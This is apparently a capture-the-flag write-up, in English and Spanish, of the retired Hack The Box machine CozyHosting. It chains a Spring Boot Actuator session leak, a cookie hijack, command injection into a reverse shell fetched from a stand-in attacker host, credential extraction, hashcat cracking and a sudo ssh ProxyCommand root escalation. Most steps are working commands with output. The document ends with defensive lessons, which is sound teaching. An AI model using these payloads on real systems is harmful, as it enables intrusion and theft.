CozyHosting
Executive summary — CozyHosting is an Easy Linux box built around a Java Spring Boot app: an unauthenticated Spring Boot Actuator endpoint (
/actuator/sessions) leaks active session tokens, letting us hijack an administrator's cookie and log into the admin panel; the panel's SSH form has a command injection in theusernamefield (RCE asapp). The application's.jaryields PostgreSQL credentials, the users table is dumped, the admin's bcrypt hash is cracked withhashcat, and that password is reused over SSH asjosh. Root comes from abusing asudogrant onsshviaProxyCommand(GTFOBins). An Actuator → session hijacking → RCE → PostgreSQL → hashcat → SSH → sudo ssh → root path.
| Platform | Hack The Box |
| Operating system | Linux (Ubuntu) |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.16.230 |
Attack map
[80] Java Spring Boot app (nginx)
│ HTTP headers + /error 500 → Spring Boot
│ unauthenticated /actuator → /actuator/sessions leaks JSESSIONID tokens
▼
[hijack] kanderson's cookie → /admin (Admin Dashboard)
▼
[RCE] /executessh → command injection in «username» (space filter bypass with ${IFS})
│ shell.sh over HTTP → shell as app
▼
[creds] unzip the .jar → application.properties → PostgreSQL credentials
│ psql → users table → admin's bcrypt hash → hashcat -m 3200 → cracked
▼
[SSH] josh (reused password) → user.txt
│ sudo -l → /usr/bin/ssh (ALL)
▼
[ROOT] sudo ssh -o ProxyCommand (GTFOBins) → root.txt
1. Reconnaissance
Full TCP port scan:
nmap -p- --min-rate 5000 -sV -sC -oA cozyhosting 10.129.16.230
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http nginx/1.18.0 (Ubuntu) — Cozy Hosting - Home
echo '10.129.16.230 cozyhosting.htb' | sudo tee -a /etc/hosts
Only two ports open — no SSH to brute force directly, so the focus is the web app. The HTTP headers already hint strongly at the framework:
whatweb http://cozyhosting.htb
curl -I http://cozyhosting.htb
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Content-Language: en-US
That exact header pattern (plus
Content-Language) is characteristic of Spring Boot (Java). It points the rest of the recon toward its management endpoints, Actuator.
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://cozyhosting.htb/FUZZ -fc 404 -t 50
/admin [401] protected admin panel
/login [200] login form
/logout [204] session logout
/error [500] Spring Boot error page
/errorreturning a 500 with Spring Boot's exact error format confirms the framework.
Resumen ejecutivo — CozyHosting es un Linux Easy sobre una app Java Spring Boot: un Spring Boot Actuator sin autenticación (
/actuator/sessions) filtra tokens de sesión activos, con los que se secuestra la cookie de un administrador y se entra en el panel; el panel tiene un formulario SSH con inyección de comandos en el campousername(RCE comoapp). Del.jarde la aplicación salen las credenciales de PostgreSQL, se vuelca la tabla de usuarios, se craquea el hash bcrypt del admin conhashcaty esa contraseña se reutiliza para entrar por SSH comojosh. El root llega abusando de un permiso desudosobresshvíaProxyCommand(GTFOBins). Recorrido Actuator → session hijacking → RCE → PostgreSQL → hashcat → SSH → sudo ssh → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux (Ubuntu) |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.16.230 |
Mapa del ataque
[80] app Java Spring Boot (nginx)
│ cabeceras HTTP + /error 500 → Spring Boot
│ /actuator sin auth → /actuator/sessions filtra tokens JSESSIONID
▼
[hijack] cookie de kanderson → /admin (Admin Dashboard)
▼
[RCE] /executessh → command injection en «username» (bypass de espacios con ${IFS})
│ shell.sh vía HTTP → shell como app
▼
[creds] unzip del .jar → application.properties → credenciales de PostgreSQL
│ psql → tabla users → hash bcrypt de admin → hashcat -m 3200 → crackeado
▼
[SSH] josh (contraseña reutilizada) → user.txt
│ sudo -l → /usr/bin/ssh (ALL)
▼
[ROOT] sudo ssh -o ProxyCommand (GTFOBins) → root.txt
1. Reconocimiento
Escaneo completo de puertos TCP:
nmap -p- --min-rate 5000 -sV -sC -oA cozyhosting 10.129.16.230
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
80/tcp open http nginx/1.18.0 (Ubuntu) — Cozy Hosting - Home
echo '10.129.16.230 cozyhosting.htb' | sudo tee -a /etc/hosts
Solo dos puertos abiertos: nada de SSH que atacar directamente, así que el foco es la web. Las cabeceras HTTP ya dan una pista fuerte del framework:
whatweb http://cozyhosting.htb
curl -I http://cozyhosting.htb
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Content-Language: en-US
Ese patrón exacto de cabeceras (y el
Content-Language) es característico de Spring Boot (Java). Orienta el resto del recon hacia sus endpoints de gestión, Actuator.
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://cozyhosting.htb/FUZZ -fc 404 -t 50
/admin [401] panel de administración protegido
/login [200] formulario de login
/logout [204] cierre de sesión
/error [500] página de error de Spring Boot
El
/errordevolviendo un 500 con formato de Spring Boot lo confirma definitivamente.
2. Spring Boot Actuator — session leak
What Actuator is: Spring Boot's management and monitoring module. Misconfigured and exposed without authentication, it can leak environment variables, internal beans, metrics, and — most critically here — active sessions. First, the available sub-endpoints are enumerated:
curl -s http://cozyhosting.htb/actuator | python3 -m json.tool
_links: health, beans, env, sessions, mappings
/actuator/sessions returns the map of session tokens and their associated user:
curl -s http://cozyhosting.htb/actuator/sessions | python3 -m json.tool
F3A3152BE12D7B89AD0EAA6EE37AE67F → kanderson
3. Session hijacking — admin panel access
No password needed with that token: setting the same string as the
JSESSIONIDcookie makes the app believe we'rekanderson.
curl -s -b "JSESSIONID=F3A3152BE12D7B89AD0EAA6EE37AE67F" http://cozyhosting.htb/admin -L | grep -i "admin\|dashboard"
Admin Dashboard
The panel shows an SSH connection form asking for host and username.
4. Command injection in /executessh → RCE
The form POSTs host and username to /executessh; internally the app builds something like ssh <username>@<host>. We try injecting with ;:
curl -v -b 'JSESSIONID=F3A3152BE12D7B89AD0EAA6EE37AE67F' -X POST http://cozyhosting.htb/executessh -H 'Content-Type: application/x-www-form-urlencoded' -d 'host=127.0.0.1&username=;id;' 2>&1 | grep Location
/bin/bash: line 1: @127.0.0.1: command not found
That error confirms the server runs something like
ssh ;id;@127.0.0.1: the;acts as a command separator and bash tries to runidbefore reaching the leftover@127.0.0.1. Command injection confirmed.
The app filters spaces in username. That's bypassed with bash's ${IFS} variable (Internal Field Separator), which resolves to a space without being a literal space character. RCE is confirmed with an HTTP callback:
python3 -m http.server 8080 # on the attacker box
curl -s -b 'JSESSIONID=F3A3152BE12D7B89AD0EAA6EE37AE67F' -X POST http://cozyhosting.htb/executessh -H 'Content-Type: application/x-www-form-urlencoded' -d 'host=127.0.0.1&username=;curl${IFS}<ATTACKER_IP>:8080;#'
GET / HTTP/1.1 ← request received on the HTTP server
The trailing
#comments out the rest of the SSH command so it doesn't error out. With RCE confirmed, a reverse-shell script is served and downloaded/executed in two steps (avoids issues with special characters in the payload):
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' > /tmp/shell.sh
python3 -m http.server 8080 # serving shell.sh
nc -lvnp 4444
# step 1: download shell.sh onto the target
curl -s -b 'JSESSIONID=...' -X POST http://cozyhosting.htb/executessh -d 'host=127.0.0.1&username=;curl${IFS}<ATTACKER_IP>:8080/shell.sh${IFS}-o${IFS}/tmp/shell.sh;#'
# step 2: execute it
curl -s -b 'JSESSIONID=...' -X POST http://cozyhosting.htb/executessh -d 'host=127.0.0.1&username=;bash${IFS}/tmp/shell.sh;#'
whoami → app
5. From the .jar to PostgreSQL credentials
The Spring Boot app ships as a runnable .jar; it's located on the box:
find / -name '*.jar' 2>/dev/null
/app/cloudhosting-0.0.1.jar
A Spring Boot
.jaris really a ZIP file. Itsapplication.properties(the app's config) usually carries database credentials, and it can be pulled out without unzipping the whole jar:
unzip -p /app/cloudhosting-0.0.1.jar BOOT-INF/classes/application.properties
spring.datasource.driver-class-name=org.postgresql.Driver
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
6. PostgreSQL → hashes → crack → SSH
psql -h localhost -U postgres -d cozyhosting -c "SELECT name,password FROM users;"
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
Both are bcrypt hashes (
$2a$) — hashcat mode 3200. We attack the admin's:
echo '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm' > hash_admin.txt
hashcat -m 3200 hash_admin.txt /usr/share/wordlists/rockyou.txt
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited
That cracked password is reused for the system user
josh(notadmin, which only exists inside the app's database):
ssh josh@10.129.16.230 # manchesterunited
cat ~/user.txt
7. Privilege escalation — sudo ssh (GTFOBins)
sudo -l
(root) NOPASSWD: /usr/bin/ssh *
joshcan runsshwith any arguments as root. GTFOBins documents thatsshaccepts-o ProxyCommand=<cmd>, a local command run before attempting to connect. Run viasudo, that command executes as root:
sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x
The leading ; makes bash run immediately instead of being parsed as part of the ProxyCommand; 0<&2 1>&2 redirects that bash's stdin/stdout to the terminal (fd 2, stderr); x is a throwaway destination host that never gets used, since ProxyCommand already ran.
id → uid=0(root) gid=0(root) groups=0(root)
Root flag
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | HTTP headers / /error | Spring Boot fingerprinting | Points the attack at Actuator |
| Info leak | Spring Boot Actuator | Unauthenticated /actuator/sessions exposes JSESSIONID tokens | Session hijack of admin (kanderson) |
| Foothold | /executessh panel | Command injection in username (space-filter bypass via ${IFS}) | RCE as app |
| Lateral | .jar + PostgreSQL | Credentials embedded in application.properties → crackable, reused admin hash | SSH as josh |
| PrivEsc | sudo /usr/bin/ssh * | ProxyCommand (GTFOBins) | Root shell |
Lessons learned
- Don't expose Actuator endpoints unauthenticated (
sessions,env,heapdump,beans): they leak secrets and other users' active sessions. - Never put user input into a system command: any shell separator (
;,|,${IFS}) defeats a filter that only blocks spaces. - Spring Boot
.jarfiles carry their own config (application.properties): don't embed production credentials in the deployed artifact — use environment variables or a vault. - Don't reuse passwords between the app and the OS.
sudoon binaries likessh,find, orvimescapes to a root shell (GTFOBins): checksudo -lagainst that list before granting permissions.
2. Spring Boot Actuator — filtración de sesiones
Qué es Actuator: el módulo de gestión y monitorización de Spring Boot. Mal configurado y expuesto sin autenticación, puede filtrar variables de entorno, beans internos, métricas y, lo más grave aquí, sesiones activas. Primero se enumeran los sub-endpoints disponibles:
curl -s http://cozyhosting.htb/actuator | python3 -m json.tool
_links: health, beans, env, sessions, mappings
/actuator/sessions devuelve el mapa de tokens de sesión y su usuario asociado:
curl -s http://cozyhosting.htb/actuator/sessions | python3 -m json.tool
F3A3152BE12D7B89AD0EAA6EE37AE67F → kanderson
3. Session hijacking — acceso al panel admin
Con ese token no hace falta ninguna contraseña: basta con poner esa misma cadena como cookie
JSESSIONIDpara que la aplicación crea que somoskanderson.
curl -s -b "JSESSIONID=F3A3152BE12D7B89AD0EAA6EE37AE67F" http://cozyhosting.htb/admin -L | grep -i "admin\|dashboard"
Admin Dashboard
El panel muestra un formulario de conexión SSH que pide host y username.
4. Command injection en /executessh → RCE
El formulario envía host y username por POST a /executessh; internamente la app construye algo como ssh <username>@<host>. Se prueba a inyectar con ;:
curl -v -b 'JSESSIONID=F3A3152BE12D7B89AD0EAA6EE37AE67F' -X POST http://cozyhosting.htb/executessh -H 'Content-Type: application/x-www-form-urlencoded' -d 'host=127.0.0.1&username=;id;' 2>&1 | grep Location
/bin/bash: line 1: @127.0.0.1: command not found
Ese error confirma que el servidor ejecuta algo como
ssh ;id;@127.0.0.1: el;delimita comandos y bash intenta correridantes de llegar al@127.0.0.1sobrante. Command injection confirmada.
La app filtra los espacios en username. Se evita con la variable de bash ${IFS} (Internal Field Separator), que equivale a un espacio pero no es un espacio literal. Se confirma el RCE con un callback HTTP:
python3 -m http.server 8080 # en la máquina atacante
curl -s -b 'JSESSIONID=F3A3152BE12D7B89AD0EAA6EE37AE67F' -X POST http://cozyhosting.htb/executessh -H 'Content-Type: application/x-www-form-urlencoded' -d 'host=127.0.0.1&username=;curl${IFS}<ATTACKER_IP>:8080;#'
GET / HTTP/1.1 ← petición recibida en el servidor HTTP
El
#final comenta el resto del comando SSH para que no dé error. Con el RCE confirmado, se sirve un script de reverse shell y se descarga/ejecuta en dos pasos (evita problemas con caracteres especiales en el payload):
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' > /tmp/shell.sh
python3 -m http.server 8080 # sirviendo shell.sh
nc -lvnp 4444
# paso 1: descargar shell.sh en el target
curl -s -b 'JSESSIONID=...' -X POST http://cozyhosting.htb/executessh -d 'host=127.0.0.1&username=;curl${IFS}<ATTACKER_IP>:8080/shell.sh${IFS}-o${IFS}/tmp/shell.sh;#'
# paso 2: ejecutarlo
curl -s -b 'JSESSIONID=...' -X POST http://cozyhosting.htb/executessh -d 'host=127.0.0.1&username=;bash${IFS}/tmp/shell.sh;#'
whoami → app
5. Del .jar a las credenciales de PostgreSQL
La app Spring Boot se distribuye como un .jar ejecutable; se localiza en el sistema:
find / -name '*.jar' 2>/dev/null
/app/cloudhosting-0.0.1.jar
Un
.jarde Spring Boot es en realidad un ZIP. Suapplication.properties(config de la app) suele llevar credenciales de la base de datos, y se puede extraer sin descomprimir todo el jar:
unzip -p /app/cloudhosting-0.0.1.jar BOOT-INF/classes/application.properties
spring.datasource.driver-class-name=org.postgresql.Driver
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
6. PostgreSQL → hashes → crack → SSH
psql -h localhost -U postgres -d cozyhosting -c "SELECT name,password FROM users;"
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
Ambos son hashes bcrypt (
$2a$) — modo 3200 en hashcat. Se ataca el del admin:
echo '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm' > hash_admin.txt
hashcat -m 3200 hash_admin.txt /usr/share/wordlists/rockyou.txt
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited
Esa contraseña craqueada se reutiliza para el usuario del sistema
josh(noadmin, que solo existe en la base de datos de la app):
ssh josh@10.129.16.230 # manchesterunited
cat ~/user.txt
7. Escalada a root — sudo ssh (GTFOBins)
sudo -l
(root) NOPASSWD: /usr/bin/ssh *
joshpuede corrersshcon cualquier argumento como root. GTFOBins documenta quesshacepta-o ProxyCommand=<cmd>, un comando local que se ejecuta antes de intentar conectar. Ejecutado víasudo, ese comando corre como root:
sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x
El ; inicial hace que bash se ejecute de inmediato en vez de tratarse como parte del ProxyCommand; 0<&2 1>&2 redirige la entrada/salida de esa bash al terminal (fd 2, stderr); x es un host de destino cualquiera que nunca llega a usarse, porque el ProxyCommand ya se ha ejecutado.
id → uid=0(root) gid=0(root) groups=0(root)
Root flag
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Recon | Cabeceras HTTP / /error | Fingerprinting de Spring Boot | Orienta el ataque a Actuator |
| Info leak | Spring Boot Actuator | /actuator/sessions sin auth expone tokens JSESSIONID | Secuestro de sesión de admin (kanderson) |
| Foothold | Panel /executessh | Command injection en username (bypass de espacios con ${IFS}) | RCE como app |
| Mov. lateral | .jar + PostgreSQL | Credenciales embebidas en application.properties → hash bcrypt de admin crackeable, reutilizado | SSH como josh |
| PrivEsc | sudo /usr/bin/ssh * | ProxyCommand (GTFOBins) | Shell de root |
Lecciones aprendidas
- No expongas los endpoints de Actuator sin autenticar (
sessions,env,heapdump,beans): filtran secretos y sesiones activas de otros usuarios. - Nunca metas input del usuario en un comando de sistema: cualquier separador de shell (
;,|,${IFS}) rompe un filtro que solo bloquea espacios. - Los
.jarde Spring Boot llevan su configuración dentro (application.properties): no incrustes credenciales de producción en el artefacto desplegado, usa variables de entorno o un vault. - No reutilices contraseñas entre la app y el sistema operativo.
sudosobre binarios comossh,findovimescapa a shell de root (GTFOBins): revisasudo -lcontra esa lista antes de dar permisos.